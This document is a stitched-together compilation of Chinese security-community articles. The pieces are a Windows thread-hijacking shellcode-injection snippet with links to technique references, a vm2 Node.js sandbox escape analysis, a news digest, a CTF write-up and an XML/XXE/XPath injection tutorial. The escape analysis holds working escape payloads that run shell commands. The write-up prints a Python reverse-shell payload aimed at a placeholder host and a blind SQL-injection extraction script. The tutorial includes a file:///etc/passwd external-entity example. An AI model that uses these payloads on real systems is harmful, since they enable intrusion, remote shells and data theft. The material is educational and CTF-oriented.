SuspendThread(threadHijacked);
GetThreadContext(threadHijacked, &context);
#ifdef _M_X64
context.Rip = (DWORD_PTR)remoteBuffer;
#else
context.Eip = (DWORD_PTR)remoteBuffer;
#endif // x64
SetThreadContext(threadHijacked, &context);
ResumeThread(threadHijacked);
1. 首先打开目标进程的进程句柄。
2. 再目标进程的内存中写入shellcode。
3. 然后获取目标进程的第一个线程的句柄并将其挂起。
4. 修改线程的RIP/EIP指针指向shellcode。
5. 然后恢复该线程开始执行shellcode。
## 6.参考
* [windows shellcode开发基础](https://idafchev.github.io/exploit/2017/09/26/writing_windows_shellcode.html#resources)
* [CreateThreadpoolWait加载](https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-via-createthreadpoolwait)
* [Fiber加载](https://www.ired.team/offensive-security/code-injection-process-injection/executing-shellcode-with-createfiber)
* [NtTestAlert加载](https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-in-a-local-process-with-queueuserapc-and-nttestalert)
* [SEH异常加载](https://idiotc4t.com/code-and-dll-process-injection/seh-code-execute)
* [TLS回调加载](https://idiotc4t.com/code-and-dll-process-injection/tls-code-execute)
* [系统call加载](https://modexp.wordpress.com/2020/06/01/syscalls-disassembler/)
* [APC注入](https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection)
* [Early Bird APC注入](https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection)
* [Early Brid APC注入原理](https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection)
* [NtCreateSection注入](https://www.ired.team/offensive-security/code-injection-process-injection/ntcreatesection-+-ntmapviewofsection-code-injection)
* [入口点劫持注入](https://www.ired.team/offensive-security/code-injection-process-injection/addressofentrypoint-code-injection-without-virtualallocex-rwx)
* [线程劫持注入](https://idiotc4t.com/code-and-dll-process-injection/setcontext-hijack-thread)
* 《加密与解密4》
* * * | 社区文章 |
# vm2沙箱逃逸分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
前言：vm2中在版本的更迭中，存在多种逃逸方法，可以参考
<https://github.com/patriksimek/vm2/issues?q=is%3Aissue+author%3AXmiliaH+is%3Aclosed>
但是 issue中都没有给出具体的分析，本文通过几个典型的案例来分析这些代码是如何逃逸出vm2的
> 注：需要使用git进行回退 `git reset --hard 7ecabb1`
## 案例1
代码：
"use strict";
const {VM} = require('vm2');
const untrusted = `var process;
Object.prototype.has=(t,k)=>{
process = t.constructor("return process")();
}
"" in Buffer.from;
process.mainModule.require("child_process").execSync("whoami").toString()`
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
看这个案例前，首先需要补充一点es6 proxy的知识
[https://es6.ruanyifeng.com/?search=weakmap&x=0&y=0#docs/proxy](https://es6.ruanyifeng.com/?search=weakmap&x=0&y=0#docs/proxy)
(大神可以略过)
先看一段代码：
var handler = {
get () {
console.log("get");
}
};
var target = {};
var proxy = new Proxy(target, handler);
Object.prototype.has = function(){
console.log("has");
}
proxy.a; //触发get
"" in proxy; //触发has，这个has是在原型链上定义的
在对象 `target` 上定义了 `get` 操作，会拦截对象属性的读取，所以当访问 `proxy.a` 时，会打印出 `get`
但是当执行 `"" in proxy` 时，也会被 `has`方法拦截，此时，我们虽然没有直接在 `target` 对象上定义 `has`
拦截操作，即代理的方法是可以被继承的。
回到vm2逃逸的代码，vm2中实际运行的代码如下：
"use strict";
var process;
Object.prototype.has = function (t, k) {
process = t.constructor("return process")();
};
"" in Buffer.from;
process.mainModule.require("child_process").execSync("whoami").toString()
`Buffer.from` 是一个代理对象，vm2的作者一开始并没有给vm2内部的Object 加上 has方法，所以我们可以自己给 `Object`
对象的原型上添加 `has` 方法，这时候运行
"" in Buffer.from;
就会去执行我们定义好的has方法，由于 `proxy` 的机制，参数 `t` 是 `function Buffer.from`
，这个function是在外部的，其上下文是 nodejs 的global下，所以访问其 `constructor` 属性就获取到了外部的
`Function`，从而拿到外部的 `process`
而开发者的修复方案：添加上 has 方法
可以看到，没有修复之前，`Buffer.from` 是没有拦截 `has` 操作的
而修复之后：
由于 `Buffer.from` 中已经存在了 has 方法，所以不会去原型链上查找
## 案例2
代码如下
"use strict";
const {VM} = require('vm2');
const untrusted = `var process;
try{
Object.defineProperty(Buffer.from(""), "", {get set(){
Object.defineProperty(Object.prototype,"get",{get(){
throw x=>x.constructor("return process")();
}});
return ()=>{};
}});
}catch(e){
process = e(()=>{});
}
process.mainModule.require("child_process").execSync("id").toString();`;
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
同样地，需要补充一点js的知识：
js的对象中，存在三种不同的属性：数据属性，访问器属性和内部属性。我们只看数据属性和访问器属性
数据属性和访问器属性都存在 `[[Enumerable]]` 和 `[[Configurable]]` 特性
不同点：以下特性属于数据属性：
* `[[Value]]`：该属性的属性值，默认为`undefined`。
* `[[Writable]]`：是一个布尔值，表示属性值（`value`）是否可改变（即是否可写），默认为`true`。
以下特性属于访问器属性
* `[[Get]]`：是一个函数，表示该属性的取值函数（getter），默认为`undefined`
* `[[Set]]`：是一个函数，表示该属性的存值函数（setter），默认为`undefined`
var obj = {
prop: let obj = {
prop:123,
Writable: true
}
let jbo = {
get prop(){
return "get";
},
set prop(val){
console.log("set"+val);
}
}
console.log(obj.prop); //123
console.log(jbo.prop); //get
我们也可以通过 `Object.defineProperty` 来设置对象的访问器属性
let obj = {};
Object.defineProperty(obj, "prop", {
get(){
return "get";
}
})
console.log(obj.prop);
我们还可以这样写
let obj = {};
Object.defineProperty(obj, "prop", {
get get(){
console.log("get1"); //get1
return ()=>{return "get2"};
}
})
console.log(obj.prop); //get2
在这种情况下，会先执行 `get()` 函数，打印 `get1`，返回一个函数，作为 `prop` 属性的 getter，之后访问 `obj.prop`
时，就会打印 `get2`
get(){
console.log("get1");
return ()=>{return "get2"};
}
同理：
let obj = {};
Object.defineProperty(obj, "prop", {
get set(){
console.log("set1");
return (val)=>{console.log("set2")};
}
})
obj.prop = 1
此时会先执行一次 `set()` 函数打印出 `set1`，同时设置 `prop` 属性的 setter 为
`(val)=>{console.log("set2")}` 之后执行 `obj.prop = 1` 时，就会打印 `set2`;
那么回过头来看vm2逃逸的代码
var process;
try {
let a = Buffer.from("")
Object.defineProperty(a, "", {
get set() {
Object.defineProperty(Object.prototype, "get", {
get: function get() {
throw function (x) {
return x.constructor("return process")();
};
}
});
return ()=>{};
}
});
} catch (e) {
process = e(() => {});
}
执行的过程如下：
参考前文 vm2 实现原理分析，此时得到的a是一个代理对象，当我们在a上定义新属性的时候，被代理的 `defineProperty` 拦截
检测传入的 `descriptor` 上是否设置了 get和set，如果是，调用外部的 `host.Object.defineProperty`
去实现设置对象属性的
但是在执行 `descriptor.get` 的时候，由于 `nodejs`是异步的，此时已经执行了
Object.defineProperty(Object.prototype, "get", {
get: function get() {
throw function (x) {
return x.constructor("return process")();
};
}
});
也就是说，`descriptor.get` 会沿着原型链寻找到 `get`, 并且抛出异常，`throw x=>x.constructor("return
process")();`
这个抛出的异常，最先被vm2内部捕获到，就是图中的e
vm2 需要将其包装成一个代理对象之后，继续抛出，所以这个异常被我们写的代码捕获到
vm2抛出的异常，被我们的代码捕获到
然后我们将其作为函数来调用，那就会触发这个函数代理对象的 `apply` 方法
这里的 `target` 就是 `x=>x.constructor('return process')()`
`context` 是函数的上下文代理，通过 `Decontextify.value` 之后是 `underfined`
`args` 是函数的参数代理，其值为 `() => {}`
真正的函数调用发生在
Contextify.value(fnc.apply(context, Decontextify.arguments(args)));
这里可以做一下拆分
let func_arg = Decontextify.arguments(args);
let fnc_result = fnc.apply(context, func_arg);
let res = Contextify.value(fnc_result);
逻辑上看，先将函数的参数做一次处理，然后通过反射调用函数，再将得到的结果包装成代理
问题出在对函数的参数处理上，此处的函数参数为 `() => {}` ，是一个函数，并不是代理对象
所以 `Decontextify` 将其做了一次包装，使之成为一个代理对象
然而问题在于，这个函数的代理对象中的get方法的实现
当访问 `constructor` 属性的时候，得到的是 `host.Function`
如图：
这就导致逃溢出沙箱了 | 社区文章 |
# 2月9日安全热点 - Chrome7月开始将标记所有HTTP站点“不安全”
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
黑客突袭思科ASA漏洞（CVE-2018-0101）
<https://www.bleepingcomputer.com/news/security/hackers-pounce-on-cisco-asa-flaw-cve-2018-0101/>
英特尔发布Skylake处理器新的Spectre补丁
<https://www.bleepingcomputer.com/news/security/intel-releases-fixed-skylake-microcodes-for-spectre-vulnerability-to-oems/>
<https://thehackernews.com/2018/02/intel-processor-update.html>
Google漏洞奖励计划：2017年回顾
[https://security.googleblog.com/2018/02/vulnerability-reward-program-2017-year.html](https://security.googleblog.com/2018/02/vulnerability-reward-program-2017-year.html?utm_source=securitydailynews.com)
Swisscom 数据泄露：800,000名客户受到影响
<http://www.zdnet.com/article/swisscom-data-breach-800000-customers-affected/>
谷歌浏览器从2018年7月开始标记所有HTTP站点“不安全”
<https://www.bleepingcomputer.com/news/google/google-chrome-to-mark-all-http-sites-not-secure-starting-july-2018/>
<http://www.zdnet.com/article/in-security-push-chrome-to-mark-all-http-pages-as-non-secure/>
苹果的iPhone的iBoot源代码泄漏在Github上
<https://thehackernews.com/2018/02/iboot-ios-source-code.html>
## 技术类
Google Project Zero 成员教你如何入门搞安全
<https://paper.seebug.org/530/>
谁家娃娃玩硬盘
<https://paper.seebug.org/531/>
Nessus插件的武器化
<https://depthsecurity.com/blog/weaponization-of-nessus-plugins>
如何黑掉Sonoff Wifi切换器 – 第3部分Alexa智能家居
<http://blog.kilomon.com/2018/02/hacking-sonoff-wifi-switch-part-3-alexa.html>
新的Mac cryptominer有23个旧的变种
<https://blog.malwarebytes.com/threat-analysis/2018/02/new-information-unfolds-regarding-mac-cryptominer/>
新的Deepfakes论坛将采用Coinhive进行挖掘
<https://blog.malwarebytes.com/cybercrime/2018/02/new-deepfakes-forum-goes-mining-with-coinhive/>
UACME源码浅析
<https://www.secpulse.com/archives/68255.html>
使用Windows Installermsiexec.exe进行攻击
<https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/>
可执行和可链接的格式101.第2部分：符号
[http://www.intezer.com/executable-linkable-format-101-part-2-symbols](http://www.intezer.com/executable-linkable-format-101-part-2-symbols/?utm_source=securitydailynews.com)
InfoZip UnZip受多个缓冲区溢出安全漏洞
[https://www.sec-consult.com/en/blog/advisories/multiple-vulnerabilities-in-infozip-unzip](https://www.sec-consult.com/en/blog/advisories/multiple-vulnerabilities-in-infozip-unzip/?utm_source=securitydailynews.com)
Hacking 101 to mobile data
<https://insinuator.net/2018/02/hacking-101-to-mobile-data>
Introducing Red Baron
<https://www.coalfire.com/Solutions/Coalfire-Labs/The-Coalfire-LABS-Blog/february-2018/introducing-red-baron>
一个基于熵的链接漏洞分析工具
<https://jlospinoso.github.io/python/unfurl/abrade/hacking/2018/02/08/unfurl-url-analysis.html>
Bounty Monitor
<https://github.com/nashcontrol/bounty-monitor>
3snake – 转储sshd和sudo凭据相关的字符串
<https://github.com/blendin/3snake> | 社区文章 |
# 2020网鼎杯白虎组的部分wp
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
记录下第二届网鼎杯白虎组的部分wp
## Misc
### 签到
打开页面发现是一个游戏界面，查看源代码中的js文件，发现了一个`ajax请求`：
setTimeout(function () {
if (n) {
return
}
if (e == l) {
var t = levelCount - 1;
if (t > strings.ok.length - 1) {
t = strings.ok.length - 1
}
if(levelCount>=7){
var token = prompt("please input your team Token:").trim();
$.ajax({
url: 'fate.php',
type: 'POST',
data: 'token=' + token,
success: function(data){
var data = data;
alert(data);
}
})
}
o.innerHTML = strings.ok[t];
k()
}
找到了url：`fate.php`向这个页面`post`传递一个`token`值，就可以得到`flag`
### hack
下载压缩包得到，压缩包中有`sqlmap1.4 0day.zip 和xor`。。。
发现文件是加密的。。尝试伪加密，发现不是未加密，，，
尝试爆破无果，唉，忽然想到会不会是明文攻击，
在网上下载一个`sqlmap-1.4`的文件，来进行明文攻击。。
得到了压缩包密码：
解压得到了`0day.zip和xor`文件
`xor`想到可以利用`xortools`进行爆破：
得到了密钥`WDCTF`:
尝试对xor进行解密：
#coding:utf-8
f = open('xor','rb')
w = open('xor1.png','ab')
line = f.read()
key = 'WDCTF'
# print hex(ord(line[1]))
for i in range(len(line)):
w.write(chr(ord(line[i])^ord(key[i % 5])))
得到了解密后的文件 用winhex打开：
得到了压缩包的密码：`qw91!25fzd$@!`
解压得到flag文件`MZWGCZ33MY2DMODBGU2DCLJTGJSWKLJUMQZTOLLCHAZDKLJQMI4GCMRQGU2TQNJSGN6Q====`
进行`base32`解密:
### hidden
打开压缩包，得到了一个图片：
winhex打开发现：
存在压缩包，用`binwalk`进行分离得到了一个压缩包：
进行爆破密码，成功爆破得到了密码：
得到了了一半的二维码，尝试修改高度：
将`43`修改为`85`，保存文件，得到了完整的二维码：
扫描得到`flag`。。。
## web
### picdown
打开题目，发现
是一个图片下载器。。。
猜测可以下载源码：
尝试之后，得到`main.py`的源码：
`main.py`：
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib
app = Flask(__name__)
SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)
@app.route('/')
def index():
return render_template('search.html')
@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)
@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"
return res
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
漏洞代码：
@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"
return res
首先接受一个`key值`和`SECRET_KEY`相等，然后接受一个`shell值`，执行`os.system(shell)`这里可以反弹`shell`。
这里的`SECRET_KEY`是通过
SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)
这里读出来的，尝试读取这个`/tmp/secret.txt`文件，发现不能读取成功：
发现已经删除`os.remove(SECRET_FILE)`,忽然想起来以前出现过类似的考点：
在 linux 系统中如果一个程序打开了一个文件没有关闭，即便从外部（上文是利用 `os.remove(SECRET_FILE)`）删除之后，在
`/proc` 这个进程的 pid 目录下的 `fd` 文件描述符目录下还是会有这个文件的 `fd`，通过这个我们即可得到被删除文件的内容。
尝试之后，在`/proc/self/fd/3`这里读取到`SECRET_FILE`
然后进行`python`反弹`shell`
`/no_one_know_the_manager?key=reIqMCng8hfnu3wD4RDyKnO76LdgLeOYrb6DuPNLzLc=&shell=python%20-c%20%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22xx.xx.xx.xx%22,9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/bash%22,%22-i%22]);%27`
可以成功反弹`shell`,最终在`/root/flag.txt`中得到`flag`:
`flag{75a9190b-44a9-4f39-ba91-950743cbc18d}`
### 张三的网站
打开页面，发现是一个登陆页面，注册一个账号看看里面的功能：
登陆后发现：
页面只回显了用户名，忽然感觉这个题，有点熟悉的感觉了。。。
尝试注册用户名为`2'+123+'`，尝试登陆：
[](https://imgchr.com/i/YDft6f)
这不是上一届网鼎杯的原题吗？
直接拿脚本改一改：
import requests
import string
import re as r
import sys
reload(sys)
sys.setdefaultencoding("utf8")
url= "http://906482149bf841c0b701c2f92bfaaa213b708f2173aa4e0b.cloudgame1.ichunqiu.com/"
ch = '0123456789qwertyuiopasdfghjklzxcvbnm{-}'
re = requests.session()
flag = ''
for j in range(1,50):
# payload = "0'+(select ascii(substr((database()) from {} for {})))+'0".format(int(j),1)
payload = "0'+(select ascii(substr((select * from flag) from {} for {})))+'0".format(int(j),1)
email = '{}[email protected]'.format(str(j)+'kslaml')
url1 = url+'register.php'
data = dict(email = email, username = payload,password = 'aaaa')
res = re.post(url1,data=data)
url2 = url+'login.php'
data = dict(email = email,password = 'aaaa')
html = re.post(url2, data=data)
html.encoding = 'utf-8'
try:
res = r.findall(r'<span class="user-name">(.*?)</span>',html.text,r.S)
a = res[0][1:].strip()
flag += chr(int(a))
print flag
except:
pass
得到flag:
## Crypto
### b64
题目给出：
密文:uLdAuO8duojAFLEKjIgdpfGeZoELjJp9kSieuIsAjJ/LpSXDuCGduouz
泄露的密文:pTjMwJ9WiQHfvC+eFCFKTBpWQtmgjopgqtmPjfKfjSmdFLpeFf/Aj2ud3tN7u2+enC9+nLN8kgdWo29ZnCrOFCDdFCrOFoF=
泄露的明文:ashlkj!@sj1223%^&*Sd4564sd879s5d12f231a46qwjkd12J;DJjl;LjL;KJ8729128713
对泄露的密文尝试base64解码，发现失败，对泄露的明文进行base64加密，发现正好和泄露的密文的长度相等。。。
pTjMwJ9WiQHfvC+eFCFKTBpWQtmgjopgqtmPjfKfjSmdFLpeFf/Aj2ud3tN7u2+enC9+nLN8kgdWo29ZnCrOFCDdFCrOFoF=
YXNobGtqIUBzajEyMjMlXiYqU2Q0NTY0c2Q4NzlzNWQxMmYyMzFhNDZxd2prZDEySjtESmpsO0xqTDtLSjg3MjkxMjg3MTM=
于是可以猜测是换了码表
利用我们已知明文和对应密文来推算替换的码表，
我们将已知的明文进行base64加密，然后将加密的结果和密文进行一个对比：
a= 'pTjMwJ9WiQHfvC+eFCFKTBpWQtmgjopgqtmPjfKfjSmdFLpeFf/Aj2ud3tN7u2+enC9+nLN8kgdWo29ZnCrOFCDdFCrOFoF='
b='YXNobGtqIUBzajEyMjMlXiYqU2Q0NTY0c2Q4NzlzNWQxMmYyMzFhNDZxd2prZDEySjtESmpsO0xqTDtLSjg3MjkxMjg3MTM='
list_a=[]
for i in a:
list_a.append(i)
list_b=[]
for i in b:
list_b.append(i)
nvs = zip(list_a,list_b)
def deleteDuplicate(li):
temp_list = list(set([str(i) for i in li]))
li=[eval(i) for i in temp_list]
return li
print deleteDuplicate(nvs)
得到了如下的对应关系：
[('d', 'x'), ('j', 'N'), ('8', 's'), ('B', 'i'), ('k', 'O'), ('T', 'X'), ('H', 'B'), ('F', 'M'), ('9', 't'), ('o', 'T'), ('M', 'o'), ('J', 'G'), ('W', 'q'), ('A', 'h'), ('p', 'Y'), ('Q', 'U'), ('q', 'c'), ('r', 'g'), ('u', 'Z'), ('v', 'a'), ('i', 'I'), ('D', 'k'), ('7', 'r'), ('N', 'p'), ('/', 'F'), ('K', 'l'), ('2', 'D'), ('e', 'y'), ('=', '='), ('g', '0'), ('S', 'W'), ('n', 'S'), ('Z', 'L'), ('w', 'b'), ('O', '3'), ('P', '4'), ('C', 'j'), ('3', 'd'), ('m', 'Q'), ('f', 'z'), ('t', '2'), ('L', 'm'), ('+', 'E')]
然后将密文中的字符进行替换， 对照发现还有几个字母的相对应的密文是未知的，分别是`E I X s G z`
然后根据，flag是uuid的性质，推测出来几位，然后进行手工验证，得到了flag
感觉也是运气比较好，尝试了几次就出来了
`flag{1e3a2de5-1c02-4f4f-9b2e-a4afabdf01e6}`
## 总结
打过网鼎杯，才知道自己有多菜了，，
大佬们tql…
还要努力呀。。。。 | 社区文章 |
### 0x00 前言
想学XXE漏洞，XXE(XML External Entity
Injection)全称为XML外部实体注入。XML？！发现我不会，简单看了一下基础知识，发现XML还可能存在XML注入和XPath注入。于是把XML注入、XPath注入和XML
外部实体注入一起学习了！并写了一下学习笔记。
### 0x01 XML
**什么是 XML？**
XML 指可扩展标记语言（EXtensible Markup Language）。
XML 的设计宗旨是传输数据，而不是显示数据。
XML 是 W3C 的推荐标准。
XML 不会做任何事情。XML 被设计用来结构化、存储以及传输信息。
XML 语言没有预定义的标签。
**XML 和 HTML 之间的差异**
XML 不是 HTML 的替代。
XML 和 HTML 为不同的目的而设计：
> XML 被设计用来传输和存储数据，其焦点是数据的内容。
> HTML 被设计用来显示数据，其焦点是数据的外观。
> HTML 旨在显示信息，而 XML 旨在传输信息。
**为什么需要XML**
现实生活中一些数据之间往往存在一定的关系。我们希望能在计算机中保存和处理这些数据的同时能够保存和处理他们之间的关系。XML就是为了解决这样的需求而产生数据存储格式。
**XML基本格式与基本语法**
_基本格式：_
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!--xml文件的声明-->
<bookstore> <!--根元素-->
<book category="COOKING"> <!--bookstore的子元素，category为属性-->
<title>Everyday Italian</title> <!--book的子元素，lang为属性-->
<author>Giada De Laurentiis</author> <!--book的子元素-->
<year>2005</year> <!--book的子元素-->
<price>30.00</price> <!--book的子元素-->
</book> <!--book的结束-->
</bookstore> <!--bookstore的结束-->
`<?xml version="1.0" encoding="UTF-8" standalone="yes"?>` 称为 XML prolog
，用于声明XML文档的版本和编码，是可选的，必须放在文档开头。
standalone值是yes的时候表示DTD仅用于验证文档结构，从而外部实体将被禁用，但它的默认值是no，而且有些parser会直接忽略这一项。
_基本语法：_
* 所有 XML 元素都须有关闭标签。
* XML 标签对大小写敏感。
* XML 必须正确地嵌套。
* XML 文档必须有根元素。
* XML 的属性值须加引号。
若多个字符都需要转义，则可以将这些内容存放到CDATA里面
<![CDATA[ 内容 ]]>
### 0x02 DTD
**DTD基本概念**
XML 文档有自己的一个格式规范，这个格式规范是由一个叫做 DTD（document type definition） 的东西控制的。
DTD用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明)，也可以独立的放在另外一个单独的文件中(外部引用)。是XML文档中的几条语句，用来说明哪些元素/属性是合法的以及元素间应当怎样嵌套/结合，也用来将一些特殊字符和可复用代码段自定义为实体。
**实体引用**
XML元素以形如 `<tag>foo</tag>` 的标签开始和结束，如果元素内部出现如`<`
的特殊字符，解析就会失败，为了避免这种情况，XML用实体引用（entity reference）替换特殊字符。XML预定义五个实体引用，即用`<
> & ' "` 替换 `< > & ' "` 。
实体引用可以起到类似宏定义和文件包含的效果，为了方便，我们会希望自定义实体引用，这个操作在称为 Document Type
Defination（DTD，文档类型定义）的过程中进行。
**dtd的引入方式**
DTD（文档类型定义）的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明，也可以外部引用。
_内部 DTD_
使用内部的dtd文件，即将约束规则定义在xml文档中
<!DOCTYPE 根元素名称 [元素声明]>
示例代码：
<?xml version="1.0"?>
<!DOCTYPE note [<!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)><!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->
]>
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>
_外部 DTD_
（1）引入外部的dtd文件
<!DOCTYPE 根元素名称 SYSTEM "dtd路径">
（2）使用外部的dtd文件(网络上的dtd文件)
<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文档的URL">
当使用外部DTD时，通过如下语法引入：
<!DOCTYPE root-element SYSTEM "filename">
示例代码：
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root-element SYSTEM "test.dtd">
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>
test.dtd
<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->
**PCDATA**
PCDATA的意思是被解析的字符数据。PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理，而实体会被展开。
被解析的字符数据不应当包含任何`&`，`<`，或者`>`字符，需要用`&` `<` `>`实体来分别替换。
**CDATA**
CDATA意思是字符数据，CDATA 是不会被解析器解析的文本，在这些文本中的标签不会被当作标记来对待，其中的实体也不会被展开。
**DTD元素**
**DTD属性**
**属性声明语法** ：
<!ATTLIST 元素名称 属性名称 属性类型 默认值>
DTD实例：
<!ATTLIST payment Luckey CDATA "Q">
XML实例：
<payment Luckey="Q" />
以下是 属性类型的选项：
默认属性值可使用下列值：
**DTD实体**
> 实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
> 实体引用是对实体的引用。
> 实体可在内部或外部进行声明。
_按实体有无参分类，实体分为一般实体和参数实体_
_一般实体的声明_ ：`<!ENTITY 实体名称 "实体内容">`
引用一般实体的方法：`&实体名称;`
ps：经实验，普通实体可以在DTD中引用，可以在XML中引用，可以在声明前引用，还可以在实体声明内部引用。
_参数实体的声明_ ：`<!ENTITY % 实体名称 "实体内容">`
引用参数实体的方法：`%实体名称;`
ps：经实验，参数实体只能在DTD中引用，不能在声明前引用，也不能在实体声明内部引用。
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量，可以内部声明或外部引用。
_按实体使用方式分类，实体分为内部声明实体和引用外部实体_
_内部实体_
<!ENTITY 实体名称 "实体的值">
内部实体示例代码：
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY writer "Dawn">
<!ENTITY copyright "Copyright W3School.com.cn">
]>
<test>&writer;©right;</test>
_外部实体_
外部实体，用来引入外部资源。有`SYSTEM`和`PUBLIC`两个关键字，表示实体来自本地计算机还是公共计算机。
<!ENTITY 实体名称 SYSTEM "URI/URL">
或者
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
外部实体示例代码：
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
]>
<author>&file;©right;</author>
外部实体可支持http、file等协议。不同程序支持的协议不同：
PHP支持的协议会更多一些，但需要一定的扩展：
PHP引用外部实体， **常见的利用协议** ：
file://文件绝对路径 如：file:///etc/passwd
http://url/file.txt
php://filter/read=convert.base64-encode/resource=xxx.php
_参数实体+外部实体_
<!ENTITY % 实体名称 SYSTEM "URI/URL">
参数实体+外部实体示例代码：
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///etc/passwd">
%file;
]>
`%file`(参数实体)是在DTD中被引用的，而`&file;`是在xml文档中被引用的。
### 0x03 XML注入
XML的设计宗旨是传输数据，而非显示数据。
XML注入是一种古老的技术，通过利用闭合标签改写XML文件实现的。
#### XML注入简介
XML是一种数据组织存储的数据结构方式，安全的XML在用户输入生成新的数据时候应该只能允许用户接受的数据，需要过滤掉一些可以改变XML标签也就是说改变XML结构插入新功能（例如新的账户信息，等于添加了账户）的特殊输入，如果没有过滤，则可以导致XML注入攻击。
#### XML注入前提条件
（1）用户能够控制数据的输入
（2）程序有拼凑的数据
**注入实例**
test1.xml
<?xml version="1.0" encoding="utf-8"?>
<manager>
<admin id="1">
<username>admin</username>
<password>admin</password>
</admin>
<admin id="2">
<username>root</username>
<password>root</password>
</admin>
</manager>
XML与HTML一样，也存在注入攻击，在注入的方法上也非常相似。
对于上面的xml文件，如果攻击者能够掌控password字段，那么就会产生XML注入。如攻击者输入：
admin </password></admin><admin id="3"><name>hack</name><password>hacker</password></admin>
最终修改结果为：
<?xml version="1.0" encoding="utf-8"?>
<manager>
<admin id="1">
<name>admin</name>
<password>admin</password>
</admin>
<admin id="2">
<username>root</username>
<password>root</password>
</admin>
<admin id="3">
<name>hack</name>
<password>hacker</password>
</admin>
</manager>
这样就通过XML注入添加了一个名为hack、密码为：hacker的管理员账户。
XML注入两大要素： **标签闭合和获取XML表结构**
#### XML注入防御
（1）对用户的输入进行过滤
（2）对用户的输入进行转义
### 0x04 XPath注入
#### XPath注入攻击简介
XPath注入攻击是指利用XPath 解析器的松散输入和容错特性，能够在 URL、表单或其它信息上附带恶意的XPath
查询代码，以获得权限信息的访问权并更改这些信息。XPath注入攻击是针对Web服务应用新的攻击方法，它允许攻击者在事先不知道XPath查询相关知识的情况下，通过XPath查询得到一个XML文档的完整内容。
XPath注入发生在当站点使用用户输入的信息来构造请求以获取XML数据。攻击者对站点发送经过特殊构造的信息来探究站点使用的XML是如何构造的，从而进一步获取正常途径下无法获取的数据。当XML数据被用作账户验证时，攻击者还可以提升他的权限。
#### XPath注入攻击特点
XPath注入攻击利用两种技术，即 **XPath扫描** 和 **XPath查询布尔化**
。通过该攻击，攻击者可以控制用来进行XPath查询的XML数据库。这种攻击可以有效地对付使用XPath查询（和XML数据库）
来执行身份验证、查找或者其它操作。
XPath注入攻击同SQL注入攻击类似，但与SQL注入相比，XPath具有的优势：
1. 广泛性
只要是利用XPath语法的Web
应用程序若未对输入的XPath查询做严格的处理都会存在XPath注入漏洞。而在SQL注入攻击过程中根据数据库支持的SQL语言不同，注入攻击的实现可能不同。
2. 危害性大
XPath语言几乎可以没有访问控制限制的引用XML文档的所有部分。而在SQL注入中，一个“`用户`”的权限可能被限制到 某一特定的表、列或者查询。
